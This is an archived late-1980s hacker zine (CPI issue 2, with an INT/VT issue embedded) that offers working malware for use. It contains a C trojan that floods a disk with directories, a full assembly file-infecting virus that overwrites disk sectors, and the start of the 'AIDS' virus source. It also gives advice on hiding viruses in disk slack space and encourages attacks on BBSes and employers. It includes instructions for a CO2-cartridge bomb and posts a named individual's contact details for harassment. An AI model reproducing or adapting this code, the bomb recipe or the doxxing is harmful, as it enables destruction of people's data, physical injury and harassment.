The Hacker's Encyclopedia 1998

home *** CD-ROM | disk | FTP | other *** search

/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / a_m / cpi2.txt < prev next >

Wrap

INI File | 2003-06-11 | 49.1 KB | 1,039 lines

[2.1] * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * @@@@@@@@@@@@@ @@@@@@@@@@@@@ @@@@@@@@@@@@@@@ * * @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@ * * @@@@ @@@@ @@@@ @@@@ @@@ * * @@@ @@@ @@@@ @@@ * * @@@ @@@@@@@@@@@@@@@ @@@ * * @@@ @@@@@@@@@@@@@@ @@@ * * @@@ @@@ @@@ * * @@@@ @@@@ @@@ @@@ * * @@@@@@@@@@@@@@@ @@@ @@@@@@@@@@@@@@@ * * @@@@@@@@@@@@@ @@@ @@@@@@@@@@@@@@@ * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * C O R R U P T E D P R O G R A M M I N G I N T E R N A T I O N A L presents: @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ @ @ Virili And Trojan Horses @ @ @ @ A ProtagonistYs Point Of View @ @ @ @ Issue #2 @ @ @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ DISCLAIMER::All of the information contained in this newsletter reflects the thoughts and ideas of the authors, not their actions. The sole purpose of this document is to educate and spread information. Any illegal or illicit action is not endorsed by the authors or CPI. The authors and CPI are not responsible for any information which may present itself as old or mis-interpreted, and actions by the reader. Remember, ZJust Say No!Y CPI #2 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Issue 2, Volume 1 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Release Date::July 27,1989 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Introduction To CPI#2 --------------------- Well, here is the olong awaited@ second issue of CPI, A ProtagonistYs Point of view. This issue should prove a bit interesting, I dunno, but at least entertaining for the time it takes to read. Enjoy the information and donYt forget the disclaimer. Oh yes, if you have some interesting articles or an application to send us, just see the BBS list at the end of this document. Thanx. All applications and information will be voted on through the CPI Inner Circle. Hope you enjoy this issue as much as we enjoyed typing it... hehe... Until our next issue, (which may be whenever), good-bye. Doctor Dissector Table of Contents ----------------- Part Title Author ----------------------------------------------------------------------------- 2.1 Title Page, Introduction, & TOC....................... Doctor Dissector 2.2 Another Explanation Of Virili And Trojans............. Acid Phreak 2.3 V-IDEA-1.............................................. Ashton Darkside 2.4 V-IDEA-2.............................................. Ashton Darkside 2.5 The Generic Virus..................................... Doctor Dissector 2.6 Aids.................................................. Doctor Dissector 2.7 Batch File Virus...................................... PHUN 3.2 2.8 Basic Virus......................................... PHUN 3.2 2.9 The Alemeda Virus..................................... PHUN 4.3 2.10 Virili In The News.................................... Various Sources 2.11 Application For CPI................................... CPI Inner Circle (CPI Node Phone #Ys Are In 2.11) ========================================================================= Subject: INTVT Issue 2 1/1 To: tk0jut2 Original_To: BITNET%"tk0jut2@niu" The International Network of Thieves 2/16/91 Virus and Trojan Oriented Volume No. 2 Welcome back! Hey guys, (and gals I hope!) error in last issue, the date was incorrect. The actual date of INT/VT1.TXT should have been 1/29/91. Sorry dudez, had some people think it was a year old... Ok, geez, already issue two? You people have been waiting for it haven't you? GOOD! VERY IMPORTANT NEWS! -------------------- Gene Dunn, (handle is Unimax) a PD'er and Virus hater is on the prowl. He has called The Edge of Destruction(817-473-3621) many times, and actually came over to MY house once. He is threatening to take me to court. He got a virus on his PD BBS and wants The EoD shut down because of its virus support, and because it is the home of INT/VT!!!! This man is a mad man. I won't take the BBS down! But if the court says so, oh well! HEY! THIS GUY IS THREATENING THE HOME OF INT/VT!!! His name again is GENE DUNN,(Actually Eugene I believe) and the number to his BBS is 817-834-0143. What you do with that info is up to you. DISCLAIMER ---------- The writers of this article, nor the sysops of The EoD, are responsible for what you do with the information found/discussed here. You the user/reader of this are soley responsible for what you do with this information, as it is provided for programming research only, and not for ANY illegal uses. HOW WAS LESSON ONE? ------------------- How did everyone do on your first lesson? Did you try it? On what? I'd really enjoy it if you'd call The EoD and leave me mail about it. Also, if you plan to continue with these issues and do the examples, I would recommend that you get a copy of flushot(also available on The EoD), so as to watch the virii/trojans as they work. INT/VT APPLICATION ------------------ In this issue of INT/VT we will be including an application for joining our association. Please fill it out and upload it to the SYSOP UPLOADS on The Edge of Destruction BBS, 817-473-3621. You will be notified via E-Mail of your status as a member. Thank You. SOME INFORMATION ABOUT DEBUG ---------------------------- Since not everyone has Turbo Debugger, sNOOp, or some of the nicer de-buggers, we're going to stick with using the DOS debug. Those of you who already write virii and or are familiar with debug, you may want to skip this section and pick up later down in the article. This is for the beginners to debug. Here are some of the basic listing of commands for debug: COMMAND / USAGE / COMMENTS A A[address] A0100:0100 Start assembling at address 0100:0100 In most cases A0100 is all that is neccessary. C C[range address] CC100,1FF 300 Compare portion of memory D D[range] D0100 Displays the contents of memory at 0100 E E[address] E0100 Start entering byte values at 0100 F F[range list] F0100 L 100 fill 100 bytes G G[address] G runs the current program H H[values] H 100 108 ads and subtracts hex numbers I I[value] I2F8 input one byte from port specified L L[address] Load M M[range address] move blocks of memory N N[name] Names file (i.e. N Joe.exe) O O[value byte] sends specified byte to output port Q Q Term╨minates Debug R R[register] Shows the register and edit it S S[range list] Search the specified range for bytes T T Trace through program U U[address] Unnassemble at address x, u0100 W W[amt. of bytes] Save to disk While these are not explained in great detail, it is not neccessary to do so at this time, but as we use them it will be. I recommend you go to the bookstore and purchase Peter Norton's Guide to Assembly Language. It will run you about $25.00 and then download MASM5.0 from The EoD. MASM stand for Microsoft Assembler, for you who are new to this. Also available are Turbo C and Turbo C++ v2.00 and Turbo Pascal v6.00. Feel free to call and D/L these files. Reading Peter Norton's book will make what you find here much easier. Also, it will teach you how to program in assembler. Something we DO NOT plan to do here, but to sharpen your knowledge, or HELP you learn it. Something else you need is the BOOK of INT's. Soon to be available on The EoD. LESSON 2, ANOTHER SIMPLE TROJAN IN C ------------------------------------ Our last trojan was in ASM, this one is in C. And known as Crazy. What it does is makes tons of directories on someones HD. You say, "ooo, big deal." Exactly, its a VERY BIG deal. In DOS, you can not remove more than one DIR at a time. Can you imagine removing all of those DIR's by hand? It could take weeks, months, or years. /* Thanks to Ninja Wala of SUP for writing such a niftey trojan! */ #include <stdio.h> #include <stdlib.h> /* Include Files */ #include <dir.h> /* Used by C to make life easier */ main() { int i,j; /* Names I and J as variables */ char tmp[20]; char far *ptr; for (i=0;i<=50;i++){ /* random loop to make dirs */ srand(rand()); ptr = itoa(rand(),tmp,10); mkdir ( ptr ); /* makes the DIR */ chdir ( ptr ); for (j=0;j<=50;j++){ ptr = itoa(rand(),tmp,10); mkdir( ptr ); } chdir ("\\"); } } While we are not going deep into how this works, we give you the source so you can compile it and have some real nice fun killing an HD. If you would like the compiled version (EXE version) you can get it off of many BBS's including The EoD. NEXT ISSUE ---------- In the next issue we will actually look at the inner workings of a virus. Rather than a trojan. As to which virus, we can not be sure at this time. Also, we will start our virus description and fake virus section. JUST FOR ANARCHISTS - CO2 Cartidge Bomb! ---------------------------------------- Ok dudez, here is a nice mailbox or toilet bomb. Let the air out of the CO2 cartridge, I don't care how. Use a nail, knife, screwdriver, or whatever else to make the hole a bit bigger. Fill it with gunpowder and pack it down by tapping the bottom of the CO2 cartridge on a hard surface. Insert a fuse, (I recommend a good waterproof cannon fuse, but a firecracker fuse will work if its all you can find.) Use something that seals real hard and tight. I have used silicon before, but I think you cand find something that will try much harder if you look. Find your destination. Light it. RUN! FAST! If it blows with you near it. Better be a hospital near. I flushed one down a toilet at a Fina Station and the Toilet CRACKED and started leaking. Not to mention water was everywhere! Dripping from the ceiling and the walls. CALL OUR HOME WORLD ------------------- Call our HQ BBS: The Edge of Destruction - 817-473-3621 APOLOGY ------- We realize that this issue was not as informative as some of you were hoping. The reason for this is the problem of Gene Dunn. We have had little or no time to donate to INT/VT due to his insanity. We hope to have a MUCH, MUCH more interesting Issue as Issue 3. Which you should see in about 1-2 weeks. Subject: CPI Issue 2 2/11 To: tk0jut2 Original_To: BITNET%"tk0jut2@niu" [2.2] Explanation of Viruses and Trojans Horses ----------------------------------------- Written by Acid Phreak Like itYs biological counterpart, a computer virus is an agent of infection, insinuating itself into a program or disk and forcing its host to replicate the virus code. Hackers fascinated by the concept of oliving@ code wrote the first viruses as projects or as pranks. In the past few years, however, a different kind of virus has become common, one that lives up to an earlier meaning of the word: in Latin, virus means poison. These new viruses incorporate features of another type of insidious program called a Trojan horse. Such a program masquerades as a useful utility or product but wreaks havoc on your system when you run it. It may erase a few files, format your disk, steal secrets--anything software can do, a Trojan horse can do. A malicious virus can do all this then attempt to replicate itself and infect other systems. The growing media coverage of the virus conceptand of specific viruse has promoted the development of a new type of software. Antivirus programs, vaccines--they go by many names, but their purpose is to protect from virus attack. At present there are more antivirus programs than known viruses (not for long). Some experts quibble about exactly what a virus is. The most widely known viruses, the IBM Xmas virus and the recent Internet virus, are not viruses according to some experts because they do not infect other programs. Others argue that every Trojan horse is a virus--one that depends completely on people to spread it. How They Reproduce: ------------------- Viruses canYt travel without people. Your PC will not become infected unless someone runs an infected program on it, whether accidentally or on purpose. PCYs are different from mainframe networks in this way--the mainframe Internet virus spread by transmitting itself to other systems and ordering them to execute it as a program. That kind of active transmission is not possible on a PC. Virus code reproduces by changing something in your system. Some viruses strike COMMAND.COM or the hidden system files. Others, like the notorious Pakistani-Brain virus, modify the boot sector of floppy disks. Still others attach themselves to any .COM or .EXE file. In truth, any file on your system that can be executed--whether itYs a program, a device driver, an overlay, or even a batch file--could be the target of a virus. When an infected program runs, the virus code usually executes first and then transfers control to the original program. The virus may immediately infect other programs, or it may load itself into RAM and continue spreading. If the virus can infect a file that will be used on another system, it has succeeded. What They Can Do: ----------------- Viruses go through two phases: a replication phase and an action phase. The action doesnYt happen until a certain even occurs--perhaps reaching a special date or running the virus a certain number of times. It wouldnYt make sense for a virus to damage your system the first time it ran; it needs some time to grow and spread first. The most vulnerable spot for a virus attack is your hard diskYs file allocation table (FAT). This table tells DOS where every fileYs data resides on the disk. Without the FAT, the dataYs still there but DOS canYt find it. A virus could also preform a low-level format on some or all the tracks of your hard disk, erase all files, or change the CMOS memory on AT-class computers so that they donYt recognize the hard disk. Most of the dangers involve data only, but itYs even possible to burn out a monochrome monitor with the right code. Some virus assaults are quite subtl. One known virus finds four consecutive digits on the screen and switches two. LetYs hope youYre not balancing the companyYs books when this one hits. Others slow down system operations or introduce serious errors. Subject: CPI Issue 2 3/11 To: tk0jut2 Original_To: BITNET%"tk0jut2@niu" [2.3] ------------------------------------------------------------------------------- ______ ________ ___________ / ____ \ | ____ \ |____ ____| | / \_| | | \ | | | | | | |_____| | | | | | | ______/ | | | | _ | | | | | \____/ | /\ | | /\ ____| |____ /\ \______/ \/ |_| \/ |___________| \/ oWe ainYt the phucking Salvation Army.@ ------------------------------------------------------------------------------- C O R R U P T E D P R O G R A M M E R S I N T E R N A T I O N A L * * * present * * * oOk, IYve written the virus, now where the hell do I put it?@ By Ashton Darkside (DUNE / SATAN / CPI) ******************************************************************************* DISCLAIMER: This text file is provided to the massed for INFORMATIONAL PURPOSES ONLY! The author does NOT condone the use of this information in any manner that would be illegal or harmful. The fact that the author knows and spreads this information in no way suggests that he uses it. The author also accepts no responsibility for the malicious use of this information by anyone who reads it! Remember, we may talk alot, but we ojust say no@ to doing it. ******************************************************************************* Ok, wow! YouYve just invented the most incredibly nifty virus. It slices, it dices, it squshes, it mushes (sorry Berke Breathed) peopleYs data! But the only problem is, if you go around infecting every damn file, some cute software company is going to start putting in procedures that checksum their warez each time they run, which will make life for your infecting virus a total bitch. Or somebodyYs going to come up with an incredibly nifty vaccination util that will wipe it out. Because, i mean, hey, when disk space starts vanishing suddenly in 500K chunks people tend to notice. Especially people like me that rarely have more than 4096 bytes free on their HD anyway. Ok. So youYre saying owow, so what, I can make mine fool-proof@, etc, etc. But wait! ThereYs no need to go around wasting your precious time when the answer is right there in front of you! Think about it, you could be putting that time into writing better and more inovative viruses, or you could be worring about keeping the file size, the date & time, and the attributes the same. With this system, you only need to infect one file, preferably one thatYs NOT a system file, but something that will get run alot, and will be able to load your nifty virus on a daily basis. This system also doesnYt take up any disk space, other than the loader. And the loader could conceivably be under 16 bytes (damn near undetectable). First of all, you need to know what programs to infect. Now, everybody knows about using COMMAND.COM and thatYs unoriginal anyway, when there are other programs people run all the time. Like DesqView or Norton Utilities or MASM or a BBS file or WordPerfect; you get the idea. Better still are dos commands like Format, Link or even compression utilities. But you get the point. Besides, whoYs going to miss 16 bytes, right? Now, the good part: where to put the damn thing. One note to the programmer: This could get tricky if your virus is over 2k or isnYt written in Assembly, but the size problem is easy enough, it would be a simple thing to break your virus into parts and have the parts load each other into the system so that you do eventually get the whole thing. The only problem with using languages besides assembly is that itYs hard to break them up into 2k segments. If you want to infect floppys, or smaller disks, youYd be best off to break your file into 512 byte segments, since theyYre easier to hide. But, hey, in assembly, you can generate pretty small programs that do alot, tho. Ok, by now youYve probably figured out that weYre talking about the part of the disk called Zthe slackY. Every disk that your computer uses is divided up into parts called sectors, which are (in almost all cases) 512 bytes. But in larger disks, and even in floppies, keeping track of every single sector would be a complete bitch. So the sectors are bunched together into groups called ZclustersY. On floppy disks, clusters are usually two sectors, or 1024 bytes, and on hard disks, theyYre typically 4096 bytes, or eight sectors. Now think about it, you have programs on your hard disk, and what are the odds that they will have sizes that always end up in increments of 4096? If IYve lost you, think of it this way: the file takes up a bunch of clusters, but in the last cluster it uses, there is usually some ZslackY, or space that isnYt used by the file. This space is between where the actual file ends and where the actual cluster ends. So, potentially, you can have up to 4095 bytes of ZslackY on a file on a hard disk, or 1023 bytes of ZslackY on a floppy. In fact, right now, run the Norton program ZFS /S /TY command from your root directory, and subtract the total size of the files from the total disk space used. ThatYs how much ZslackY space is on your disk (a hell of alot, even on a floppy). To use the slack, all you need to do is to find a chunk of slack big enough to fit your virus (or a segment of your virus) and use direct disk access (INT 13) to put your virus there. There is one minor problem with this. Any disk write to that cluster will overwrite the slack with ZgarbageY from memory. This is because of the way DOS manages itYs disk I/O and it canYt be fixed without alot of hassles. But, there is a way around even this. And it involves a popular (abeit outdated and usually ineffectual) form of virus protection called the READ-ONLY flag. This flag is the greatest friend of this type of virus. Because if the file is not written to, the last cluster is not written to, and voila! Your virus is safe >from mischivious accidents. And since the R-O flag doesnYt affect INT 13 disk I/O, it wonYt be in your way. Also, check for programs with the SYSTEM flag set because that has the same Read-only effect (even tho I havenYt seen it written, itYs true that if the file is designated system, DOS treats it as read-only, whether the R-O flag is set or not). The space after IBMBIOS.COM or IBMDOS.COM in MS-DOS (not PC-DOS, it uses different files, or so I am told; IYve been too lazy to find out myself) or a protected (!) COMMAND.COM file in either type of DOS would be ideal for this. All you have to do is then insert your loader into some innocent-looking file, and you are in business. All your loader has to do is read the sector into the highest part of memory, and do a far call to it. Your virus cann then go about waiting for floppy disks to infect, and place loaders on any available executable file on the disk. Sound pretty neet? It is! Anyway, have fun, and be sure to upload your virus, along with a README file on how it works to CPI Headquarters so we can check it out! And remember: donYt target P/H/P boards (thatYs Phreak/Hack/Pirate boards) with ANY virus. Even if the Sysop is a leech and you want to shove his balls down his throat. Because if all the PHP boards go down (especially members of CPI), who the hell can you go to for all these nifty virus ideas? And besides, itYs betraying your own people, which is uncool even if you are an anarchist. So, target uncool PD boards, or your bossYs computer or whatever, but donYt attack your friends. Other than that, have phun, and phuck it up! Ashton Darkside Dallas Underground Network Exchange (DUNE) Software And Telecom Applicaitons Network (SATAN) Corrupted Programmers International (CPI) PS: Watch it, this file (by itself) has about 3 1/2k of slack (on a hard disk). Call these boards because the sysops are cool: Oblivion (SATAN HQ) Sysop: Agent Orange (SATAN leader) System: Utopia (SATAN HQ) Sysop: RobbinY Hood (SATAN leader) The Andromeda Strain (CPI HQ) Sysop: Acid Phreak (CPI leader) D.U.N.E. (DUNE HQ) Sysop: Freddy Krueger (DUNE leader) The Jolly BardsmenYs Pub & Tavern The Sierra Crib The Phrozen Phorest Knight ShadowYs Grotto And if I forgot your board, sorry, but donYt send me E-mail bitching about it! Subject: CPI Issue 2 4/11 To: tk0jut2 Original_To: BITNET%"tk0jut2@niu" [2.4] ------------------------------------------------------------------------------- ______ ________ ___________ / ____ \ | ____ \ |____ ____| | / \_| | | \ | | | | | | |_____| | | | | | | ______/ | | | | _ | | | | | \____/ | /\ | | /\ ____| |____ /\ \______/ \/ |_| \/ |___________| \/ oWe ainYt the phucking Salvation Army.@ ------------------------------------------------------------------------------- C O R R U P T E D P R O G R A M M E R S I N T E R N A T I O N A L * * * present * * * CPI Virus Standards - Protect yourself and your friends By Ashton Darkside (DUNE / SATAN / CPI) ******************************************************************************* DISCLAIMER: This text file is provided to the masses for INFORMATIONAL PURPOSES ONLY! The author does NOT condone the use of this information in any manner that would be illegal or harmful. The fact that the author knows and spreads this information in no way suggests that he uses it. The author also accepts no responsibility for the malicious use of this information by anyone who reads it! Remember, we may talk alot, but we ojust say no@ to doing it. ******************************************************************************* One of the main problems with viruses is that once you set one loose, it is no longer under your control. I propose to stop this by introducing some standards of virus writing that will enable them to be deactivated whenever they enter a ZfriendlyY (CPI) system. In the long run, even the author of the virus is not immune to being attacked. The following are what I have termed the CPI standards for writing viruses. They will allow a virus to easily check any system they are being run on for a type of Zidentity badgeY. If it is found, the virus will not infect the system it is being run on. The other standards are mostly written around this. CPI Standards for writing viruses - 1 - The virus will have an Zactive periodY and an Zinactive periodY. The active periods will be no more than one year in length (to make it more difficult to discover the virus). You may release different versions of your virus with different Zactive periodsY. It is not recommended that your virus deactivate itself after the set active period, as this would enable people to deactivate viruses by using their computer with the date set to 2069 or something. It is also required that activation periods begin on January 1 and end on December 31. This will coincide with the changing identity codes. 2 - The virus will check for an identity code by executing Interrrupt 12h with the following register settings: AX - 4350, BX - 4920, CX - AB46, DX - 554E. If the system is friendly, then a pointer will be returned in CX:DX to an ASCIIZ (0-terminated) string which will have different contents in different years. The codes are not to be included in any text file, and should only be given through E-mail on CPI affiliated systems. You can always ask me by sending me mail at The Andromeda Strain BBS. If a system is detected as friendly, the virus will not attempt to infect or damage it, but it is ok to display a little greeting message about how lucky the user was. 3 - We very much encourage you to upload your virus, along with a breif description on the workings into the CPI section at The Andromeda Strain BBS. Only CPI members will know about your virus. This is so that CPI members can share techniques and it also allows us to verify that the identity check works. If we see any improvements that could be made, such as ways to streamline code, better ways of spreading, etc. we will inform you so that you can make the changes if you wish. 4 - It is also suggested that you use ADS standard for virus storage on infected disks. This meathod uses disk slack space for storage and is more thoroughly described in a previous text file by me. I think that this is the most effective and invisible way to store viruli. 5 - A list of CPI-Standard viruli will be avaliable at all times from The Andromeda Strain BBS, to CPI users. Identity strings will also be available to anyone in CPI, or anyone who uploads source code to a virus which is 100% complete except for the Identity string (it must be written to CPI-Standards). Non-CPI members who do this will be more seriously considered for membership in CPI. Ashton Darkside Dallas Underground Network Exchange (DUNE) Software And Telecom Applications Network (SATAN) Corrupted Programmers International (CPI) PS: This file (by itself) has approx 2.5k of slack. Subject: CPI Issue 2 5/11 To: tk0jut2 Original_To: BITNET%"tk0jut2@niu" ;============================================================================= ; ; C*P*I ; ; CORRUPTED PROGRAMMING INTERNATIONAL ; ----------------------------------- ; p r e s e n t s ; ; T H E ; _ _ ; (g) GENERIC VIRUS (g) ; ^ ^ ; ; ; A GENERIC VIRUS - THIS ONE MODIFIES ALL COM AND EXE FILES AND ADDS A BIT OF ; CODE IN AND MAKES EACH A VIRUS. HOWEVER, WHEN IT MODIFIES EXE FILES, IT ; RENAMES THE EXE TO A COM, CAUSING DOS TO GIVE THE ERROR oPROGRAM TO BIG TO ; FIT IN MEMORY@ THIS WILL BE REPAIRED IN LATER VERSIONS OF THIS VIRUS. ; ; WHEN IT RUNS OUT OF FILES TO INFECT, IT WILL THEN BEGIN TO WRITE GARBAGE ON ; THE DISK. HAVE PHUN WITH THIS ONE. ; ; ALSO NOTE THAT THE COMMENTS IN (THESE) REPRESENT DESCRIPTION FOR THE CODE ; IMMEDIATE ON THAT LINE. THE OTHER COMMENTS ARE FOR THE ENTIRE ;| GROUPING. ; ; THIS FILE IS FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR AND CPI WILL NOT BE ; HELD RESPONSIBLE FOR ANY ACTIONS DUE TO THE READER AFTER INTRODUCTION OF ; THIS VIRUS. ALSO, THE AUTHOR AND CPI DO NOT ENDORSE ANY KIND OF ILLEGAL OR ; ILLICIT ACTIVITY THROUGH THE RELEASE OF THIS FILE. ; ; DOCTOR DISSECTOR ; CPI ASSOCIATES ; ;============================================================================= MAIN: NOP ;| Marker bytes that identify this program NOP ;| as infected/a virus NOP ;| MOV AX,00 ;| Initialize the pointers MOV ES:[POINTER],AX ;| MOV ES:[COUNTER],AX ;| MOV ES:[DISKS B],AL ;| MOV AH,19 ;| Get the selected drive (dir?) INT 21 ;| MOV CS:DRIVE,AL ;| Get current path (save drive) MOV AH,47 ;| (dir?) MOV DH,0 ;| ADD AL,1 ;| MOV DL,AL ;| (in actual drive) LEA SI,CS:OLD_PATH ;| INT 21 ;| MOV AH,0E ;| Find # of drives MOV DL,0 ;| INT 21 ;| CMP AL,01 ;| (Check if only one drive) JNZ HUPS3 ;| (If not one drive, go the HUPS3) MOV AL,06 ;| Set pointer to SEARCH_ORDER +6 (one drive) HUPS3: MOV AH,0 ;| Execute this if there is more than 1 drive LEA BX,SEARCH_ORDER ;| ADD BX,AX ;| ADD BX,0001 ;| MOV CS:POINTER,BX ;| CLC ;| CHANGE_DISK: ;| Carry is set if no more .COM files are JNC NO_NAME_CHANGE ;| found. From here, .EXE files will be MOV AH,17 ;| renamed to .COM (change .EXE to .COM) LEA DX,CS:MASKE_EXE ;| but will cause the error message oProgram INT 21 ;| to large to fit in memory@ when starting CMP AL,0FF ;| larger infected programs JNZ NO_NAME_CHANGE ;| (Check if an .EXE is found) MOV AH,2CH ;| If neither .COM or .EXE files can be found, INT 21 ;| then random sectors on the disk will be MOV BX,CS:POINTER ;| overwritten depending on the system time MOV AL,CS:[BX] ;| in milliseconds. This is the time of the MOV BX,DX ;| complete oinfection@ of a storage medium. MOV CX,2 ;| The virus can find nothing more to infect MOV DH,0 ;| starts its destruction. INT 26 ;| (write crap on disk) NO_NAME_CHANGE: ;| Check if the end of the search order table MOV BX,CS:POINTER ;| has been reached. If so, end. DEC BX ;| MOV CS:POINTER,BX ;| MOV DL,CS:[BX] ;| CMP DL,0FF ;| JNZ HUPS2 ;| JMP HOPS ;| HUPS2: ;| Get a new drive from the search order table MOV AH,0E ;| and select it, beginning with the ROOT dir. INT 21 ;| (change drive) MOV AH,3B ;| (change path) LEA DX,PATH ;| INT 21 ;| JMP FIND_FIRST_FILE ;| FIND_FIRST_SUBDIR: ;| Starting from the root, search for the MOV AH,17 ;| first subdir. First, (change .exe to .com) LEA DX,CS:MASKE_EXE ;| convert all .EXE files to .COM in the INT 21 ;| old directory. MOV AH,3B ;| (use root directory) LEA DX,PATH ;| INT 21 ;| MOV AH,04E ;| (search for first subdirectory) MOV CX,00010001B ;| (dir mask) LEA DX,MASKE_DIR ;| INT 21 ;| JC CHANGE_DISK ;| MOV BX,CS:COUNTER ;| INC BX ;| DEC BX ;| JZ USE_NEXT_SUBDIR ;| FIND_NEXT_SUBDIR: ;| Search for the next sub-dir, if no more MOV AH,4FH ;| are found, the (search for next subdir) INT 21 ;| drive will be changed. JC CHANGE_DISK ;| DEC BX ;| JNZ FIND_NEXT_SUBDIR ;| USE_NEXT_SUBDIR: MOV AH,2FH ;| Select found directory. (get dta address) INT 21 ;| ADD BX,1CH ;| MOV ES:[BX],W@\@ ;| (address of name in dta) INC BX ;| PUSH DS ;| MOV AX,ES ;| MOV DS,AX ;| MOV DX,BX ;| MOV AH,3B ;| (change path) INT 21 ;| POP DS ;| MOV BX,CS:COUNTER ;| INC BX ;| MOV CS:COUNTER,BX ;| FIND_FIRST_FILE: ;| Find first .COM file in the current dir. MOV AH,04E ;| If there are none, (Search for first) MOV CX,00000001B ;| search the next directory. (mask) LEA DX,MASKE_COM ;| INT 21 ;| JC FIND_FIRST_SUBDIR ;| JMP CHECK_IF_ILL ;| FIND_NEXT_FILE: ;| If program is ill (infected) then search MOV AH,4FH ;| for another. (search for next) INT 21 ;| JC FIND_FIRST_SUBDIR ;| CHECK_IF_ILL: ;| Check if already infected by virus. MOV AH,3D ;| (open channel) MOV AL,02 ;| (read/write) MOV DX,9EH ;| (address of name in dta) INT 21 ;| MOV BX,AX ;| (save channel) MOV AH,3FH ;| (read file) MOV CH,BUFLEN ;| MOV DX,BUFFER ;| (write in buffer) INT 21 ;| MOV AH,3EH ;| (close file) INT 21 ;| MOV BX,CS:[BUFFER] ;| (look for three NOPYs) CMP BX,9090 ;| JZ FIND_NEXT_FILE ;| MOV AH,43 ;| This section by-passes (write enable) MOV AL,0 ;| the MS/PC DOS Write Protection. MOV DX,9EH ;| (address of name in dta) INT 21 ;| MOV AH,43 ;| MOV AL,01 ;| AND CX,11111110B ;| INT 21 ;| MOV AH,3D ;| Open file for read/write (open channel) MOV AL,02 ;| access (read/write) MOV DX,9EH ;| (address of name in dta) INT 21 ;| MOV BX,AX ;| Read date entry of program and (channel) MOV AH,57 ;| save for future use. (get date) MOV AL,0 ;| INT 21 ;| PUSH CX ;| (save date) PUSH DX ;| MOV DX,CS:[CONTA W] ;| The jump located at 0100h (save old jmp) MOV CS:[JMPBUF],DX ;| the program will be saved for future use. MOV DX,CS:[BUFFER+1] ;| (save new jump) LEA CX,CONT-100 ;| SUB DX,CX ;| MOV CS:[CONTA],DX ;| MOV AH,57 ;| The virus now copies itself to (write date) MOV AL,1 ;| to the start of the file. POP DX ;| POP CX ;| (restore date) INT 21 ;| MOV AH,3EH ;| (close file) INT 21 ;| MOV DX,CS:[JMPBUF] ;| Restore the old jump address. The virus MOV CS:[CONTA],DX ;| at address oCONTA@ the jump which was at the ;| start of the program. This is done to HOPS: ;| preserve the executability of the host NOP ;| program as much as possible. After saving, CALL USE_OLD ;| it still works with the jump address in the ;| virus. The jump address in the virus differs ;| from the jump address in memory CONT DB 0E9 ;| Continue with the host program (make jump) CONTA DW 0 ;| MOV AH,00 ;| INT 21 ;| USE_OLD: MOV AH,0E ;| Reactivate the selected (use old drive) MOV DL,CS:DRIVE ;| drive at the start of the program, and INT 21 ;| reactivate the selected path at the start MOV AH,3B ;| of the program.(use old drive) LEA DX,OLD_PATH-1 ;| (get old path and backslash) INT 21 ;| RET ;| SEARCH_ORDER DB 0FF,1,0,2,3,0FF,00,0FF POINTER DW 0000 ;| (pointer f. search order) COUNTER DW 0000 ;| (counter f. nth. search) DISKS DB 0 ;| (number of disks) MASKE_COM DB o*.COM@,00 ;| (search for com files) MASKE_DIR DB o*@,00 ;| (search for dirYs) MASKE_EXE DB 0FF,0,0,0,0,0,00111111XB DB 0,@????????EXE@,0,0,0,0 DB 0,@????????COM@,0 MASKE_ALL DB 0FF,0,0,0,0,0,00111111XB DB 0,@???????????@,0,0,0,0 DB 0,@????????COM@,0 BUFFER EQU 0E00 ;| (a safe place) BUFLEN EQU 208H ;| Length of virus. Modify this accordingly ;| if you modify this source. Be careful ;| for this may change! JMPBUF EQU BUFFER+BUFLEN ;| (a safe place for jmp) PATH DB o\@,0 ;| (first place) DRIVE DB 0 ;| (actual drive) BACK_SLASH DB o\@ OLD_PATH DB 32 DUP (?) ;| (old path) Subject: CPI Issue 2 6/11 To: tk0jut2 Original_To: BITNET%"tk0jut2@niu" [2.6] +-------------------------------+ +--------------------------------------+ | | P | | | @@@@@@@ @@@@@@@@ @@@@@@@@ | * | ##### ##### #### ##### | | @@ @@ @@ @@ | R | # # # # # # | | @@ @@ @@ @@ | * | ##### # # # ##### | | @@ @@@@@@@@ @@ | E | # # # # # # | | @@ @@ @@ | * | # # ##### #### ##### | | @@ @@ @@ | S | | | @@@@@@@ @@ @@@@@@@@ | * +--------------------------------------+ | | E | A NEW AND IMPROVED VIRUS FOR | +-------------------------------+ * | PC/MS DOS MACHINES | | C O R R U P T E D | N +--------------------------------------+ | | * | CREATED BY: DOCTOR DISSECTOR | | P R O G R A M M I N G | T |FILE INTENDED FOR EDUCATIONAL USE ONLY| | | * | AUTHOR NOT RESPONSIBLE FOR READERS | | I N T E R N A T I O N A L | S |DOES NOT ENDORSE ANY ILLEGAL ACTIVITYS| +-------------------------------+ +--------------------------------------+ Well well, here it is... I call it AIDS... It infects all COM files, but it is not perfect, so it will also change the date/time stamp to the current system. Plus, any READ-ONLY attributes will ward this virus off, it doesnYt like them! Anyway, this virus was originally named NUMBER ONE, and I modified the code so that it would fit my needs. The source code, which is included with this neato package was written in Turbo Pascal 3.01a. Yeah I know itYs old, but it works. Well, I added a few things, you can experiment or mess around with it if youYd like to, and add any mods to it that you want, but change the name and give us some credit if you do. The file is approximately 13k long, and this extra memory will be added to the file it picks as host. If no more COM files are to be found, it picks a random value from 1-10, and if it happens to be the lucky number 7, AIDS will present a nice screen with lots of smiles, with a note telling the operator that their system is now screwed, I mean permanantly. The files encrypted containing AIDS in their code are IRREVERSIBLY messed up. Oh well... Again, neither CPI nor the author of Number One or AIDS endorses this document and program for use in any illegal manner. Also, CPI, the author to Number One and AIDS is not responsible for any actions by the readers that may prove harm in any way or another. This package was written for EDUCATIONAL purposes only! { Beginning of source code, Turbo Pascal 3.01a } {C-} {U-} {I-} { Wont allow a user break, enable IO check } { -- Constants --------------------------------------- } Const 